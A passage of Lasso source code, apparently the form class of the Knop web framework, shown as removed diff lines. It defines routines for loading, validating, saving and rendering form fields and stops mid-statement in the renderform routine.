-		#field -> (insert: 'type'=#_type);
-		#field -> (insert: 'name'=#_name);
-
-		local_defined('id') ? #field -> insert('id' = #id);
-		local_defined('hint') ? #field -> insert('hint' = #hint);
-		local_defined('default') ? #field -> insert('default' = #default); 
-		local_defined('label') ? #field -> insert('label' = #label); 
-		local_defined('size') ? #field -> insert('size' = #size); 
-		local_defined('maxlength') ? #field -> insert('maxlength' = #maxlength); 
-		local_defined('rows') ? #field -> insert('rows' = #rows); 
-		local_defined('cols') ? #field -> insert('cols' = #cols); 
-		local_defined('class') ? #field -> insert('class' = #class); 
-		local_defined('raw') ? #field -> insert('raw' = #raw); 
-		local_defined('confirmmessage') ? #field -> insert('confirmmessage' = #confirmmessage);
-		local_defined('originaltype') ? #field -> insert('originaltype' = #originaltype);
-		(local_defined: 'template') ? #field -> (insert: 'template'=#template);
-
-		#field -> (insert: 'dbfield'=( (local_defined: 'dbfield') ? #dbfield | #_name ) );
-		(local_defined: 'value') ? #field -> (insert: 'defaultvalue'=#value);
-		
-		// the following params are stored as reference, so the values of the params can be altered after adding a field simply by changing the referenced variable. 
-		local_defined('options') ? #field -> insert('options' = @#options);
-		local_defined('value') ? #field -> insert('value' = @#value);
-		local_defined('validate') ? #field -> insert('validate' = @#validate);
-		local_defined('filter') ? #field -> insert('filter' = @#filter);
-		
-		(self -> 'fields') -> (insert: #_name = @#field, #index);
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'copyfield', -description='Copies a form field to a new name.',
-		-required='name',
-		-required='newname';
-		local: 'timer'=knop_timer; 
-		fail_if: #name == #newname, 7104, self -> error_msg(7104);
-		if: (self -> 'fields') >> #name;
-			local: 'copyfield'=(self -> 'fields') -> (find: #name) -> first -> value;
-			#copyfield -> (insert: 'name' = #newname);
-			(self -> 'fields') -> (insert: #newname = #copyfield);
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-
-	define_tag: 'init', -description='Initiates form to grab keyvalue and set formmode if we have a database connected to the form. \
-			Does nothing if no database is specified. ',
-		-optional='get',
-		-optional='post',
-		-optional='keyvalue';
-		local: 'timer'=knop_timer; 
-		// Initiates form to grab keyvalue and set formmode if we have a database connected to the form. 
-		// TODO: should we run init if form is not valid? Now we have a condition in lib before running init. 
-		// TODO: how can we get the right formmode when showing an add form again after failed validation? Now we have an extra condition in lib for this
-		
-		if: (self -> 'database') -> type == 'database';
-			(self -> 'db_keyvalue') = null;
-			(self -> 'db_lockvalue') = null;
-			local: '_params'=array,
-				'source'='form',
-				'field'=map;
-			#_params = array;
-			if: (local_defined: 'post');
-				#_params -> (merge: client_postparams);
-			/if;
-			if: (local_defined: 'get');
-				#_params -> (merge: client_getparams);
-			/if;
-			if: !(local_defined: 'post') && !(local_defined: 'get');
-				#_params -> (merge: client_postparams);
-				#_params -> (merge: client_getparams);
-			/if;
-			(self -> 'debug_trace') -> (insert: 'Init ');
-		
-			if: #_params >> '-lockvalue';
-				if: #_params -> type == 'map';
-					(self -> 'db_lockvalue')=((#_params -> (find: '-lockvalue' ) ) != '' 
-						? (#_params -> (find: '-lockvalue' ) ) | null);
-				else;
-					(self -> 'db_lockvalue')=((#_params -> (find: '-lockvalue' ) -> first -> value) != '' 
-						? (#_params -> (find: '-lockvalue' ) -> first -> value) | null);
-				/if;
-				(self -> 'debug_trace') -> (insert: tag_name + ': grabbing lockvalue from form ' + (self -> 'db_lockvalue'));
-			else: (local_defined: 'keyvalue');
-				(self -> 'db_keyvalue') = #keyvalue;
-				(self -> 'debug_trace') -> (insert: tag_name + ': grabbing keyvalue from parameter ' + (self -> 'db_keyvalue'));
-			else: #_params >> (self -> 'keyparamname');
-				if: #_params -> type == 'map';
-					(self -> 'db_keyvalue')=((#_params -> (find: (self -> 'keyparamname') ) ) != '' 
-						? (#_params -> (find: (self -> 'keyparamname') ) ) | null);
-				else;
-					(self -> 'db_keyvalue')=((#_params -> (find: (self -> 'keyparamname') ) -> first -> value) != '' 
-						? (#_params -> (find: (self -> 'keyparamname') ) -> first -> value) | null);
-				/if;
-				(self -> 'debug_trace') -> (insert: tag_name + ': grabbing keyvalue from form ' + (self -> 'db_keyvalue'));
-			/if;
-			if: (self -> 'db_lockvalue') == '' && (self -> 'db_keyvalue') == '';
-				// we have no keyvalue or lockvalue - this must be an add operation
-				(self -> 'formmode') = 'add';
-				// create a keyvalue for the record to add
-				(self -> 'db_keyvalue') = knop_unique;
-				(self -> 'debug_trace') -> (insert: tag_name + ': generating keyvalue ' + (self -> 'db_keyvalue'));
-			else: (self -> getbutton) == 'add';
-				(self -> 'formmode') = 'add';
-			else: (self -> formmode)=='';
-				(self -> 'formmode') = 'edit';
-			/if;
-			(self -> 'debug_trace') -> (insert: tag_name + ': formmode ' + (self -> formmode));
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-
-	define_tag: 'loadfields', -description='Overwrites all field values with values from either database, action_params or explicit -params. \
-				Auto-detects based on current lasso_currentaction.\n\
-			Parameters:\n\
-				-params (optional) Array or map to take field values from instead of database or submit (using dbnames)\n\
-				-get (optional flag) Only getparams will be used\n\
-				-post (optional flag) Only postparams will be used\n\
-				-inlinename (optional) The first record in the result from the specified inline will be used as field values\n\ 
-				-database (optional) If a database object is specified, the first record from the latest search result of the database object will be used. \
-					If -database is specified as flag (no value) and the form object has a database object attached to it, that database object will be used.',
-		-optional='params',
-		-optional='post',
-		-optional='get',
-		-optional='inlinename',
-		-optional='database';
-		local: 'timer'=knop_timer; 
-		local: '_params'=array,
-			'source'='form',
-			'field'=map;
-		(self -> 'fieldsource') = null;
-		if: (local_defined: 'params');
-			(self -> 'fieldsource') = 'params';
-			local: 'source'='params';
-			#_params = #params;
-		else: (local_defined: 'database') && !(local_defined: 'inlinename');
-			if: #database -> type == 'database';
-				local: 'inlinename'=#database -> inlinename;
-			else: self -> 'database' -> type == 'database';
-				local: 'inlinename'=self -> 'database' -> inlinename;
-			/if;
-		/if;
-			
-		if: (local_defined: 'inlinename');
-			(self -> 'fieldsource') = 'database';
-			local: 'source'='params';
-			#_params=map;
-			records: -inlinename=#inlinename;
-				loop: (field_name: -count);
-					#_params -> (insert: (field_name: loop_count)  =  (field: (field_name: loop_count)) );
-				/loop;
-				loop_abort;
-			/records;
-		else: (self -> 'fieldsource') == null && lasso_currentaction != 'nothing';
-			(self -> 'fieldsource') = 'database';
-			local: 'source'='database';
-		else: (self -> 'fieldsource') == null;
-			(self -> 'fieldsource') = 'form';
-			#_params = array;
-			if: (local_defined: 'post');
-				#_params -> (merge: client_postparams);
-			/if;
-			if: (local_defined: 'get');
-				#_params -> (merge: client_getparams);
-			/if;
-			if: !(local_defined: 'post') && !(local_defined: 'get');
-				#_params -> (merge: client_postparams);
-				#_params -> (merge: client_getparams);
-			/if;
-		/if;
-		(self -> 'debug_trace') -> (insert: tag_name + ': loading field values from ' + (self -> 'fieldsource'));
-		local('fieldnames_done'=map, 'fields_samename'=array, 'params_fieldname'=array);
-		iterate: (self -> 'fields'), (local: 'fieldpair');
-			//#field = @(#fieldpair -> value);
-			if: (self -> 'exceptionfieldtypes') !>> #fieldpair -> value -> (find: 'type') // do not load data for excluded form fields (maybe it should do that in some cases???)
-				// && (map: 'legend', 'fieldset', 'html') !>> #fieldpair -> value -> (find: 'type')
-				&& !(#fieldpair -> name -> (beginswith: '-')); // exclude field names that begin with "-"
-				if(#fieldnames_done !>> #fieldpair -> name); // check if we are already done with this field name (for multiple fields with the same name)
-					// find all fields with the same name
-					#fields_samename = @((self -> 'fields') -> find(#fieldpair -> name));
-					#params_fieldname = @(#_params -> find(#fieldpair -> name));
-					if: #source == 'database' && found_count > 0;
-						// load field values from database
-						if: (#fieldpair -> value -> find: 'dbfield') != '';
-							// first remove value to break reference
-							(#fieldpair -> value) -> (remove: 'value');
-							(#fieldpair -> value) -> (insert: 'value'=(field: (#fieldpair -> value -> find: 'dbfield')) );
-						/if;
-					else: #source == 'params';
-						// load field values from explicit -params using dbfield names
-						if: #_params >> (#fieldpair -> value -> find: 'dbfield') && (#fieldpair -> value -> find: 'dbfield') != '';
-							// first remove value to break reference
-							(#fieldpair -> value) -> (remove: 'value');
-							if(#_params -> isa('map'));
-								(#fieldpair -> value) -> (insert: 'value'=(#_params -> (find: (#fieldpair -> value -> find: 'dbfield') ) ) );
-							/*else: #_params -> (find: (#fieldpair -> value -> find: 'dbfield') ) -> size > 1;
-								// multiple field values
-								local: 'valuearray'=array;
-								iterate: #_params -> (find:  (#fieldpair -> value -> find: 'dbfield')), (local: 'parampair');
-									#parampair -> value != '' ? #valuearray -> (insert: #parampair -> value);
-								/iterate;
-								(#fieldpair -> value) -> (insert: 'value'=#valuearray);*/
-							else(#_params -> isa('array'));
-								(#fieldpair -> value) -> (insert: 'value'=(#_params -> (find: (#fieldpair -> value -> find: 'dbfield')) -> first -> value) );
-							/if;
-						/if;
-					else: #source == 'form';
-						// load field values from form submission
-						iterate(#fields_samename, local('fieldpair_samename'));
-							// first remove value to break reference
-							(#fieldpair_samename -> value) -> (remove: 'value');
-							if(#params_fieldname -> size == #fields_samename -> size);
-								// the number of submitted fields match the number of fields in the form
-								(#fieldpair_samename -> value) -> (insert: 'value'=(#params_fieldname -> get(loop_count) -> value) );
-							else;
-								if: #params_fieldname -> size > 1;
-									// multiple field values
-									local: 'valuearray'=array;
-									iterate: #_params -> (find:  (#fieldpair -> name)), (local: 'parampair');
-										#parampair -> value != '' ? #valuearray -> (insert: #parampair -> value);
-									/iterate;
-									(#fieldpair_samename -> value) -> (insert: 'value'=#valuearray);
-								else: #_params >> (#fieldpair -> name);
-									(#fieldpair_samename -> value) -> (insert: 'value'=(#_params -> (find: #fieldpair_samename -> name) -> first -> value) );
-								else;
-									(#fieldpair_samename -> value) -> (insert: 'value'='');
-								/if;
-							/if;
-						/iterate;
-						#fieldnames_done -> insert(#fieldpair -> name);
-					/if;
-				/if;
-				// apply filtering of field value (do this for all instances of the same field name, so outside of the #fieldnames_done check
-				if(#fieldpair -> value -> find('filter') -> isa('tag'));
-					(#fieldpair -> value) -> insert('value'= (#fieldpair -> value -> find('filter')) -> run(-params=(#fieldpair -> value -> find('value'))));
-				/if;
-			/if;
-		/iterate;
-		
-		// capture keyvalue or lockvalue if we have a database object connected to the form
-		if: (self -> 'database') -> type == 'database';
-			//(self -> 'db_keyvalue') = null;
-			//(self -> 'db_lockvalue') = null;
-			if: (self -> 'fieldsource') == 'database';
-				if: (self -> 'database') -> lockfield != '' && (self -> 'database') -> lockvalue != '';
-					(self -> 'db_lockvalue') = (self -> 'database') -> lockvalue_encrypted;
-					(self -> 'debug_trace') -> (insert: tag_name + ': grabbing lockvalue from database ' + (self -> 'db_lockvalue'));
-				else: (self -> 'database') -> keyfield != '' && (self -> 'database') -> keyvalue != '';
-					(self -> 'db_keyvalue') = (self -> 'database') -> keyvalue;
-					(self -> 'debug_trace') -> (insert: tag_name + ': grabbing keyvalue from database ' + (self -> 'db_keyvalue'));
-				/if;
-			else;
-				if: #_params >> '-lockvalue';
-					if: #_params -> type == 'map';
-						(self -> 'db_lockvalue')=((#_params -> (find: '-lockvalue' ) ) != '' 
-							? (#_params -> (find: '-lockvalue' ) ) | null);
-					else;
-						(self -> 'db_lockvalue')=((#_params -> (find: '-lockvalue' ) -> first -> value) != '' 
-							? (#_params -> (find: '-lockvalue' ) -> first -> value) | null);
-					/if;
-					(self -> 'debug_trace') -> (insert: tag_name + ': grabbing lockvalue from form ' + (self -> 'db_lockvalue'));
-				else: #_params >> (self -> 'keyparamname');
-					if: #_params -> type == 'map';
-						(self -> 'db_keyvalue')=((#_params -> (find: (self -> 'keyparamname') ) ) != '' 
-							? (#_params -> (find: (self -> 'keyparamname') ) ) | null);
-					else;
-						(self -> 'db_keyvalue')=((#_params -> (find: (self -> 'keyparamname') ) -> first -> value) != '' 
-							? (#_params -> (find: (self -> 'keyparamname') ) -> first -> value) | null);
-					/if;
-					(self -> 'debug_trace') -> (insert: tag_name + ': grabbing keyvalue from form ' + (self -> 'db_keyvalue'));
-				/if;
-			/if;
-			if: (self -> 'db_lockvalue') == '' && (self -> 'db_keyvalue') == '';
-				// we have no keyvalue or lockvalue - this must be an add operation
-				(self -> 'formmode') = 'add';
-				// create a keyvalue for the record to add
-				(self -> 'db_keyvalue') = knop_unique;
-				(self -> 'debug_trace') -> (insert: tag_name + ': generating keyvalue ' + (self -> 'db_keyvalue'));
-			else: (self -> formmode) == '';
-				(self -> 'formmode') = 'edit';
-			/if;
-			(self -> 'debug_trace') -> (insert: tag_name + ': formmode ' + (self -> formmode));
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'clearfields', -description='Emtpies all form field values';
-		local: 'timer'=knop_timer; 
-		iterate: (self -> 'fields'), (local: 'fieldpair');
-			if: (self -> 'exceptionfieldtypes') !>> #fieldpair -> value -> (find: 'type');
-				// && (map: 'legend', 'fieldset', 'html') !>> #fieldpair -> value -> (find: 'type');
-				// first remove value to break reference
-				(#fieldpair -> value) -> (remove: 'value');
-				(#fieldpair -> value) -> (insert: 'value'='');
-			/if;
-		/iterate;	
-		if: (self -> 'database') -> type == 'database';
-			(self -> 'db_keyvalue') = null;
-			(self -> 'db_lockvalue') = null;
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'resetfields', -description='Resets all form field values to their initial values';
-		local: 'timer'=knop_timer; 
-		iterate: (self -> 'fields'), (local: 'fieldpair');
-			if: (self -> 'exceptionfieldtypes') !>> #fieldpair -> value -> (find: 'type');
-				//&& (map: 'legend', 'fieldset', 'html') !>> #fieldpair -> value -> (find: 'type');
-				// first remove value to break reference
-				(#fieldpair -> value) -> (remove: 'value');
-				(#fieldpair -> value) -> (insert: 'value'=#fieldpair -> value -> (find: 'defaultvalue'));
-			/if;
-		/iterate;	
-		if: (self -> 'database') -> type == 'database';
-			(self -> 'db_keyvalue') = null;
-			(self -> 'db_lockvalue') = null;
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'validate', -description='Performs validation and fills a transient array with field names that have input errors. \
-				 form -> loadfields must be called first.';
-		local: 'timer'=knop_timer; 
-		
-		// Performs validation and fills a transient array with field names that have input errors.
-		// Must call -> loadfields first
-		if: (self -> 'errors') == null;
-			// initiate the errors array so we know validate has been performed
-			(self -> 'errors') = array;
-			iterate: (self -> 'fields'), (local: 'fieldpair');
-				if: !( (self -> 'exceptionfieldtypes') >> #fieldpair -> value -> (find: 'type') );
-					if: (#fieldpair -> value -> (find: 'required') ) 
-						&& (#fieldpair -> value -> (find: 'value') ) == '';
-						(self -> 'errors') -> (insert: (#fieldpair -> value -> (find: 'name') ));
-					/if;
-					if(#fieldpair -> value -> find('validate') -> isa('tag'));
-						// perform validation expression on the field value
-						local('result'=(#fieldpair -> value -> find('validate')) -> run(-params=#fieldpair -> value -> find('value')));
-						if(#result === true || #result === 0);
-							// validation was ok
-						else(#result != 0 || #result -> size);
-							// validation result was an error code or message
-							(self -> 'errors') -> insert(#fieldpair -> value -> find('name') = #result);
-						else;
-							(self -> 'errors') -> insert(#fieldpair -> value -> find('name'));
-						/if;
-					/if;
-				/if;
-			/iterate;
-		/if;
-		(self -> 'debug_trace') -> (insert: tag_name + ': form is valid ' + ((self -> 'errors') -> size == 0));
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'isvalid', -description='Returns the result of form -> validate (true/false) without performing the validation again (unless it hasn\'t been performed already)';
-		local: 'timer'=knop_timer; 
-		// Returns the result of -> validate (true/false) without performing the validation again (unless it is needed)
-		(self -> 'errors') == null ? self -> validate;
-		(self -> 'debug_trace') -> (insert: tag_name + ': form is valid ' + ((self -> 'errors') -> size == 0));
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: (self -> 'errors') -> size == 0;
-	/define_tag;
-
-
-	define_tag: 'adderror', -description='adds the name for a field that has validation error, used for custom field validation. \
-				calls form -> validate first if needed',
-		-required='fieldname';
-		local: 'timer'=knop_timer; 
-		// adds a field that has error
-		// calls ->validate first if needed, to make sure self -> 'errors' is an array
-		(self -> 'errors') == null ? self -> validate;
-		(self -> 'errors') -> (insert: #fieldname);
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-
-	define_tag: 'errors', -description='Returns an array with fields that have input errors, or empty array if no errors or form has not been validated';
-		// returns an array with fields that have input errors, or emtpy array if no errors or form has not been validated
-		if: (self -> 'errors') == null;
-			return: array;
-		else;
-			return: (self -> 'errors');
-		/if;
-	/define_tag;
-
-
-
-	define_tag: 'updatefields', -description='Returns a pair array with fieldname=value, or optionally SQL string to be used in an update inline.\
-		form -> loadfields must be called first.\n\
-		Parameters:\n\
-		-sql (optional)\n\
-		-removedotbackticks (optional flag) Use with -sql for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.',
-		-optional='sql',
-		-optional='removedotbackticks';
-		local: 'timer'=knop_timer; 
-		// Returns a pair array with fieldname=value, or optionally SQL string to be used in an update inline. Optionally use -removedotbackticks with -sql for backward compatibility with fields that contain periods.
-		// Must call ->loadfields first.
-		local: 'output'=array,
-			'_sql'=(local_defined: 'sql'),
-			'_removedotbackticks'=(local_defined: 'removedotbackticks'),
-			'fieldvalue'=null, 'onevalue'=null;
-		iterate: (self -> 'fields'), (local: 'fieldpair');
-			if: !( (self -> 'exceptionfieldtypes') >> #fieldpair -> value -> (find: 'type') )
-				&& !(#fieldpair -> value -> (find: 'name') -> (beginswith: '-'))
-				&& (#fieldpair -> value -> (find: 'dbfield')) != '';
-				// don't use submit etc and exclude fields whose name begins with -
-				#fieldvalue = (#fieldpair -> value -> (find: 'value') );
-				if: #fieldvalue -> type != 'array';
-					// to support multiple values for one fieldname, like checkboxes
-					#fieldvalue = array: #fieldvalue;
-				/if;
-				if: #_sql;
-					if(#_removedotbackticks);
-						#output -> (insert:  '`' + (encode_sql(knop_stripbackticks(#fieldpair -> value -> find('dbfield'))) ) + '`' 
-							+ '="' + (encode_sql: (#fieldvalue -> (join: ',')) ) + '"');
-					else;
-						#output -> (insert:  '`' + (encode_sql(string_replace(knop_stripbackticks(#fieldpair -> value -> find('dbfield')), -find='.', -replace='`.`')) ) + '`' 
-						+ '="' + (encode_sql: (#fieldvalue -> (join: ',')) ) + '"');
-					/if;
-				else;
-					iterate: #fieldvalue, #onevalue;
-						#output -> (insert:  (#fieldpair -> value -> (find: 'dbfield') ) 
-							= #onevalue );
-					/iterate;
-				/if;
-			/if;
-		/iterate;
-		if: #_sql;
-
-			#output = '(' + #output -> (join: ',') + ')';
-
-		/if;
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-		
-	/define_tag;
-	
-	
-	define_tag: 'getbutton', -description='Returns what button was clicked on the form on the previous page. Assumes that submit buttons are named button_add etc. \
-				Returns add, update, delete, cancel or any custom submit button name that begins with button_.';
-		local: 'timer'=knop_timer; 
-		if: (self -> 'formbutton') != '';
-			// we have already found out once what button was clicked
-			(self -> 'debug_trace') -> (insert: tag_name + ': cached ' + (self -> 'formbutton'));
-			self -> 'tagtime_tagname'=tag_name;
-			self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-			return: (self -> 'formbutton');
-		/if;
-		local: 'clientparams'=client_getparams;
-		#clientparams -> (merge: client_postparams);
-		// look for submit buttons, the least destructive first
-		iterate: (array: 'cancel', 'save', 'add', 'delete'), (local: 'buttonname');
-			if: #clientparams >> 'button_' + #buttonname 
-				|| #clientparams >> 'button_' + #buttonname + '.x'
-				|| #clientparams >> 'button_' + #buttonname + '.y';
-				(self -> 'debug_trace') -> (insert: tag_name + ': built-in button name ' + #buttonname);
-				(self -> 'formbutton') = #buttonname;
-				self -> 'tagtime_tagname'=tag_name;
-				self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-				return: #buttonname;
-			/if;
-		/iterate;
-		// no button found yet - look for custom button names
-		iterate: #clientparams, #buttonname;
-			#buttonname -> type == 'pair' ? #buttonname =  #buttonname -> name;
-			if: #buttonname -> (beginswith: 'button_');
-				#buttonname -> (removeleading: 'button_') & (removetrailing: '.x') & (removetrailing: '.y');
-				(self -> 'debug_trace') -> (insert: tag_name + ': custom button name ' + #buttonname);
-				(self -> 'formbutton') = #buttonname;
-				self -> 'tagtime_tagname'=tag_name;
-				self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-				return: #buttonname;
-			/if;
-		/iterate;
-		(self -> 'debug_trace') -> (insert: tag_name + ': No button found');
-	/define_tag;
-	
-	define_tag: 'process', -description='Automatically handles a form submission and handles add, update, or delete. \
-				Requires that a database object is specified for the form',
-		-optional='user',
-		-optional='lock',
-		-optional='keyvalue';
-		local: 'timer'=knop_timer; 
-		fail_if: (self -> 'database') -> type != 'database', 7103, self -> error_msg(7103);
-
-		(self -> 'error_code') = 0;
-		(self -> 'error_msg') = string;
-		
-		if: self -> getbutton == 'cancel';
-			// do nothing at all
-			(self -> 'debug_trace') -> (insert: tag_name + ': cancelling ');
-			
-		else: self -> getbutton == 'save';
-			self -> loadfields;
-			if: self -> isvalid;
-				if: (local_defined: 'user') && (self -> lockvalue) != '';
-					(self -> database) -> (saverecord: (self -> updatefields), -lockvalue=(self -> lockvalue), -keyvalue=(self -> keyvalue), -user=#user);
-				else;
-					(self -> database) -> (saverecord: (self -> updatefields), -keyvalue=(self -> keyvalue));
-				/if;
-				if: self -> database -> error_code != 0;
-					(self -> 'error_code') = self -> database -> error_code;
-					(self -> 'error_msg') = 'Process: update record error ' + (self -> database -> error_msg);
-				/if;
-				(self -> 'debug_trace') -> (insert: tag_name + ': updating record ' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));
-			else;
-				(self -> 'error_code') = 7101; // Process: update record did not pass form validation
-				(self -> 'debug_trace') -> (insert: tag_name + ': update record did not pass form validation');
-			/if;
-		
-		else: self -> getbutton == 'add';
-			self -> loadfields;
-			if: self -> isvalid;
-				(self -> database) -> (addrecord: (self -> updatefields), -keyvalue=(self -> keyvalue));
-				if: self -> database -> error_code != 0;
-					(self -> 'error_code') = self -> database -> error_code;
-					(self -> 'error_msg') = 'Process: add record error ' + (self -> database -> error_msg);
-				/if;
-				(self -> 'debug_trace') -> (insert: tag_name + ': adding record ' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));
-			else;
-				(self -> 'error_code') = 7101; // Process: add record did not pass form validation
-				(self -> 'debug_trace') -> (insert: tag_name + ': add record did not pass form validation');
-				(self -> 'debug_trace') -> (insert: tag_name + ': reverting form mode to add');
-			/if;
-
-		else: self -> getbutton == 'delete';
-			self -> loadfields;
-			(self -> 'debug_trace') -> (insert: tag_name + ': will delete record with keyvalue ' + (self -> keyvalue) + ' lockvalue ' + (self -> lockvalue));
-			if: (local_defined: 'user') && (self -> lockvalue) != '';
-				(self -> database) -> (deleterecord: -lockvalue=(self -> lockvalue), -keyvalue=(self -> keyvalue), -user=#user);
-			else;
-				(self -> database) -> (deleterecord: -keyvalue=(self -> keyvalue));
-			/if;
-			if: self -> database -> error_code == 0;
-				self -> resetfields;
-			else;
-				(self -> 'error_code') = self -> database -> error_code;
-				(self -> 'error_msg') = 'Process: delete record error ' + (self -> database -> error_msg);
-			/if;
-			(self -> 'debug_trace') -> (insert: tag_name + ': deleting record ' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));
-		else: false;
-			// do not go here, database record should be loaded with a separate call
-			if: (local_defined: 'lock');
-				self -> database ->(getrecord: (local: 'keyvalue'), -lock, -user=#user);
-				(self -> 'debug_trace') -> (insert: tag_name + ': loading record using lock' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));
-			else;
-				self -> database ->(getrecord: (local: 'keyvalue'), -user=#user);
-				(self -> 'debug_trace') -> (insert: tag_name + ': loading record' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));
-			/if;
-			self -> (loadfields: -inlinename=(self -> database -> inlinename));
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'setformat', -description='Defines a html template for the form. \n\
-			Parameters:\n\
-			-template (optional string) html template, defaults to #label# #field##required#<br>\n\
-			-buttontemplate (optional string) html template for buttons, defaults to #field#\n\
-			-required (optional string) character(s) to display for required fields (used for #required#), defaults to *\n\
-			-legend (optional string) legend for the entire form - if specified, a fieldset will also be wrapped around the form\n\
-			-class (optional string) css class name that will be used for the form element, default none\n\
-			-errorclass (optional string) css class name that will be used for the label to highlight input errors, if not defined style="color: red" will be used\n\
-			-unsavedmarker (optional string) \n\
-			-unsavedmarkerclass (optional string) \n\
-			-unsavedwarning (optional string)',
-		-optional='template', -type='string',
-		-optional='buttontemplate', -type='string',
-		-optional='required', -type='string',
-		-optional='legend', -type='string',
-		-optional='class', -type='string',
-		-optional='errorclass', -type='string',
-		-optional='unsavedmarker', -type='string',
-		-optional='unsavedmarkerclass', -type='string',
-		-optional='unsavedwarning', -type='string';
-		local: 'timer'=knop_timer; 
-
-		local_defined('template') ? (self -> 'template') = #template;
-		local_defined('buttontemplate') ? (self -> 'buttontemplate') = #buttontemplate;
-		local_defined('required') ? (self -> 'required') = #required;
-		local_defined('legend') ? (self -> 'legend') = #legend;
-		local_defined('class') ? (self -> 'class') = #class;
-		local_defined('errorclass') ? (self -> 'errorclass') = #errorclass;
-		local_defined('unsavedmarker') ? (self -> 'unsavedmarker') = #unsavedmarker;
-		local_defined('unsavedmarkerclass') ? (self -> 'unsavedmarkerclass') = #unsavedmarkerclass;
-		local_defined('unsavedwarning') ? (self -> 'unsavedwarning') = #unsavedwarning;
-
-		if: local_defined: 'unsavedwarning';
-			// escape quotes for javascript
-			(self -> 'unsavedwarning') -> (replace: '\'', '\\\'');
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-
-	define_tag: 'renderform', -description='Outputs HTML for the form fields, a specific field, a range of fields or all fields of a specific type. \
-			Also inserts all needed javascripts into the page. \
-			Use form -> setformat first to specify the html format, otherwise default format #label# #field##required#<br> is used. \n\
-			Parameters:\n\
-			-name (optional) Render only the specified field\n\
-			-from (optional) Render form fields from the specified number index or field name. Negative number count from the last field.\n\
-			-to (optional) Render form fields to the specified number index or field name. Negative number count from the last field.\n\
-			-type (optional) Only render fields of this or these types (string or array)\n\
-			-excludetype (optional) Render fields except of this or these types (string or array)\n\
-			-legend (optional) Groups the rendered fields in a fieldset and outputs a legend for the fieldset\n\
-			-start (optional) Only render the starting <form> tag\n\
-			-end (optional) Only render the ending </form> tag\n\
-			-xhtml (optional flag) XHTML valid output',
-		-optional='name', -copy, 	// field name
-		-optional='from', -copy, 	// number index or field name
-		-optional='to', -copy, 		// number index or field name
-		-optional='type', -copy,	// only output fields of this or these types (string or array)
-		-optional='excludetype', -copy,	// output fields except of this or these types (string or array)
-		-optional='legend',			// groups the rendered fields in a fieldset and outputs a legend for the fieldset
-		-optional='start',			// only output the starting <form> tag
-		-optional='end',			// only output the ending </form> tag
-		-optional='xhtml';			// boolean, if set to true adjust output for XHTML
-		local: 'timer'=knop_timer; 
-		handle;knop_debug('Done with ' + self->type + ' -> ' + tag_name, -time, -type=self->type);/handle;
-		
-		// Outputs HTML for the form fields
-		
-		/*
-			TODO: 
-			Handling of multiple fields with the same name
-		*/
-		local: 'output'=string, 
-			'onefield'=map, 
-			'renderfield'=string, 
-			'renderfield_base'=string, 
-			'renderrow'=string,
-			'formid'=null,
-			'usehint'=array,
-			'nowarning'=false,
-			'fieldtype',
-			'fieldvalue'=string,
-			'fieldvalue_array'=array,
-			'options'=array,
-			'focusfield';
-
-		local: 'clientparams'=client_getparams;
-		#clientparams -> (merge: client_postparams);
-		#clientparams -> (removeall: (self -> 'keyparamname'));
-		#clientparams -> (removeall: '-lockvalue');
-		#clientparams -> (removeall: '-action');
-		#clientparams -> (removeall: '-xhtml');
-
-		// local var that adjust tag endings if rendered for XHTML
-		local: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');
-
-		// page var to keep track of the number of forms that has been rendered on a page
-		if: !(var_defined: 'knop_form_renderform_counter');
-			var: 'knop_form_renderform_counter'=0;
-		/if;
-		
-		$knop_form_renderform_counter += 1;
-
-		if: (self -> 'id') != '';
-			#formid = (self -> 'id');
-		else: (self -> 'name') != '';
-			#formid = (self -> 'name');
-		else;
-			#formid = 'form' + $knop_form_renderform_counter;
-		/if;
-		
-		
-		local: 'renderformStartTag'=false, 'renderformEndTag'=false;
-		// remove params that should not stop formstarttag and formendtag from rendering
-		params -> type == 'array' ? params -> (removeall: '-legend') & (removeall: '-xhtml');
-		if: (self -> 'formaction') != null 
